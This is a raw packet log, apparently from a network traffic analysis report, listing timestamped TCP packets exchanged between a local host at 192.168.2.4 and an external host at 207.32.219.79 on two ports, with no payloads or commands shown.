Aug 31, 2024 22:02:09.256623030 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256710052 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256752014 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256772041 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256783962 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256823063 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256844997 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.256875038 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.256930113 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.257059097 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.262914896 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.262957096 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.262972116 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.262993097 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263046980 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263055086 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263075113 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263093948 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263137102 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263138056 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263169050 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263169050 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263209105 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263216972 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263220072 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263438940 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263458967 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263533115 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263551950 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263603926 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263693094 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263701916 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263710022 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263714075 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263750076 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263773918 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263809919 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263818979 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263835907 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263866901 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263868093 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263900995 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263927937 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.263953924 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.263956070 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264013052 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264022112 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264076948 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264086008 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264098883 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264144897 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264153957 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264175892 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264202118 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264242887 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264302969 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264312983 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264319897 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264374971 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264405012 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264411926 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264415979 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264427900 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264441967 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264476061 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264499903 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264520884 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264532089 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264626980 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264636993 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264637947 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264703989 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264714956 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264745951 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264784098 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264833927 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.264868975 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264878988 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264975071 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264988899 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.264996052 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265033007 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265043020 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265052080 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265108109 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265131950 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265136003 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265158892 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265204906 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265214920 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265239000 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265271902 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265281916 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265289068 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265299082 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.265311003 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265327930 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.265338898 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268142939 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268152952 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268182039 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268191099 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268244982 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268253088 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268263102 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268301010 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268304110 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268322945 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268333912 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268342972 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268352985 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268367052 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268392086 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268398046 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268402100 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268409967 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268429041 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268430948 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268461943 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268471003 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268472910 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268487930 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268556118 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268558979 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268569946 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268579960 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268593073 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268600941 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268605947 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268618107 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268651962 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268661976 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268665075 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268728971 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268770933 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268804073 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268811941 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268820047 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268834114 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268878937 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.268932104 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268942118 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268949986 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268959045 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268968105 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268975973 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268984079 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.268996000 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269012928 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269030094 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269040108 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269049883 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269057035 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269063950 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269077063 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269088984 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269098043 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269100904 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269103050 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269109011 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269129992 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269177914 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269227028 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269237041 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269241095 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269243956 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269257069 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269260883 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269263983 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269267082 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269301891 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269309998 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269318104 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269325972 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269345045 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269382000 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269391060 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269437075 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269550085 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269560099 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269567966 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269576073 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269583941 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269593000 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269597054 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269599915 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269602060 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269608974 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269628048 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269638062 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269648075 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269656897 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269665956 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269675016 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269685030 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269694090 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269704103 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269704103 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269714117 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269721985 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269730091 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269731045 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269740105 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269751072 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269758940 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269762993 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269802094 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269825935 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269838095 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269848108 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269855976 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269865036 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269872904 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269881964 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269890070 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269905090 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269928932 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269938946 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269947052 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.269947052 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.269989014 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270039082 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270047903 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270051003 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270054102 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270062923 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270102024 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270109892 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270109892 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270128012 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270137072 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270164013 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270189047 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270199060 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270205975 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270234108 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270241976 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270265102 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270287037 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270296097 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270334005 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270344019 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270354986 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270386934 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270395041 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270404100 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270411968 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270456076 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.270545959 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270555973 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270562887 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270570993 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.270833969 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273305893 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273314953 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273319006 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273363113 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273374081 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273385048 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273406029 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273425102 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273435116 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273439884 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273507118 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273515940 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273531914 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273540974 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273586035 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273633003 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273643017 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273653030 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273660898 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273698092 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273746014 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273756981 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273791075 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273860931 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273869991 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273880005 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273912907 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273947001 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273953915 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.273957968 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.273968935 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274002075 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.274035931 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.274069071 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274079084 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274086952 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274095058 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274102926 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274111032 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274117947 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274127007 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274133921 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274149895 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.274194002 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.274302006 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274399996 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.274427891 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274558067 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274679899 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274718046 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.274833918 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274842978 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.274863005 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275036097 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275069952 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275158882 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275197983 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275320053 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275352001 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275433064 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275476933 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275583982 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275616884 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275717974 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275748014 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.275926113 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.275957108 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.276098013 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.276108027 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.276130915 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.276171923 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.276212931 CEST	49733	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:09.276325941 CEST	40826	49733	207.32.219.79	192.168.2.4
